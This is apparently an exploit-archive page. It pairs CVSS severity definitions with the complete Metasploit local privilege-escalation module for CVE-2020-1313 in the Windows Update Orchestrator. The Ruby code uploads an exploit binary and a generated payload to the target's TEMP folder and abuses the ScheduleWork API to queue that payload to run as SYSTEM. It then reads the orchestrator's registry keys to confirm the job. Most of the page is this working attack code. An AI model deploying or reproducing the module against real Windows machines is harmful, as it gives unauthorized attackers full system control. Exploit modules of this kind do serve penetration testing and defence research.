The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows Update Orchestrator Unchecked ScheduleWork Call
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/registry'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Update Orchestrator unchecked ScheduleWork call',
'Description' => %q{
This exploit uses access to the UniversalOrchestrator ScheduleWork API call
which does not verify the caller's token before scheduling a job to be run
as SYSTEM. You cannot schedule something in a given time, so the payload will
execute as system sometime in the next 24 hours.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Imre Rad', # Original discovery? and PoC (https://github.com/irsl/CVE-2020-1313)
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2019',
'References' =>
[
['CVE', '2020-1313'],
['URL', 'https://github.com/irsl/CVE-2020-1313']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
}
)
)
register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('WRITABLE_DIR',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXPLOIT_TIMEOUT',
[true, 'The number of seconds to wait for exploit to finish running', 60]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end
def exploit
exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
payload_path = "#{temp_path}\\#{payload_name}"
exploit_path = "#{temp_path}\\#{exploit_name}"
payload_exe = generate_payload_exe
# Check target
vprint_status('Checking Target')
validate_active_host
validate_target
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
# Upload Exploit
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
ensure_clean_destination(exploit_path)
exploit_bin = exploit_data('cve-2020-1313', 'cve-2020-1313-exe.x64.exe')
write_file(exploit_path, exploit_bin)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
# Upload Payload
vprint_status("Uploading Payload to #{sysinfo['Computer']} as #{exploit_path}")
ensure_clean_destination(payload_path)
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
# Run Exploit
vprint_status('Running Exploit')
begin
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
vprint_status("Exploit Output:\n#{output}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
vprint_status("Cleaning up #{exploit_path}")
ensure_clean_destination(exploit_path)
# Check registry value
unless registry_key_exist?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!')
end
reg_keys = registry_enumkeys('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') if reg_keys.nil?
found_job = false
reg_keys.each do |key|
start_arg = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'startArg')
next unless start_arg['Data'].include? payload_name
found_job = true
queued_time = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'queuedTime')
q_time_i = queued_time['Data'].unpack1('L_')
q_time_t = (q_time_i / 10000000) - 11644473600
print_good("Payload Scheduled for execution at #{Time.at(q_time_t)}")
end
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') unless found_job
end
def validate_active_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
end
def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
if sysinfo_value =~ /10/ && (17763 < build_num) && (build_num <= 19041)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def ensure_clean_destination(path)
return unless file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end
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